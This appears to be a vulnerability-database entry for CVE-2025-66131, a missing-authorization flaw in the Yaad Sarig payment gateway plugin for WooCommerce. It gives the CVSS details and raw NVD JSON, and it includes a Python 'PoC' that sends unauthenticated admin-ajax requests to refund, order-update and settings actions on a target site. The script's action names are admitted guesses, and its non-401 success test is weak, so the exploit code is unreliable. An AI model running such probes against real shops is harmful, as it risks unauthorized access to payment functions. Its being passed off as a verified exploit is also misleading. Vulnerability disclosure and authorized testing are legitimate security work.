Security Vulnerability Report
中文
CVE-2025-66131 CVSS 5.3 MEDIUM

CVE-2025-66131

Published: 2025-12-16 09:15:58
Last Modified: 2026-04-27 17:16:41

Description

Missing Authorization vulnerability in yaadsarig Yaad Sarig Payment Gateway For WC yaad-sarig-payment-gateway-for-wc allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Yaad Sarig Payment Gateway For WC: from n/a through <= 2.2.11.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

yaad-sarig-payment-gateway-for-wc <= 2.2.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-66131 PoC - Missing Authorization in yaad-sarig-payment-gateway-for-wc # Target: WordPress site with yaad-sarig-payment-gateway-for-wc plugin <= 2.2.11 def check_vulnerability(target_url): """ Check if the target WordPress site is vulnerable to CVE-2025-66131 This vulnerability allows unauthorized access to plugin functions """ # Common WordPress AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Try to access plugin's sensitive functions without authentication # Replace ACTION_NAME with actual vulnerable action from the plugin vulnerable_actions = [ "yaad_sarig_get_transaction", "yaad_sarig_update_order", "yaad_sarig_refund", "yaad_sarig_get_settings" ] print(f"[*] Testing {target_url} for CVE-2025-66131") print(f"[*] Target plugin: yaad-sarig-payment-gateway-for-wc <= 2.2.11") for action in vulnerable_actions: try: data = { "action": action, "order_id": "1" # Test with a sample order ID } response = requests.post(ajax_url, data=data, timeout=10) # If we get a non-401 response, the function might be accessible if response.status_code != 401: print(f"[!] Potential vulnerability found: {action}") print(f"[!] Status code: {response.status_code}") print(f"[!] Response preview: {response.text[:200]}") return True except requests.exceptions.RequestException as e: print(f"[-] Error testing {action}: {e}") print("[*] No obvious vulnerability detected (manual verification recommended)") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-66131-poc.py <target_url>") print("Example: python cve-2025-66131-poc.py http://example.com") sys.exit(1) target = sys.argv[1] check_vulnerability(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66131", "sourceIdentifier": "[email protected]", "published": "2025-12-16T09:15:57.653", "lastModified": "2026-04-27T17:16:40.880", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in yaadsarig Yaad Sarig Payment Gateway For WC yaad-sarig-payment-gateway-for-wc allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Yaad Sarig Payment Gateway For WC: from n/a through <= 2.2.11."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/yaad-sarig-payment-gateway-for-wc/vulnerability/wordpress-yaad-sarig-payment-gateway-for-wc-plugin-2-2-10-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}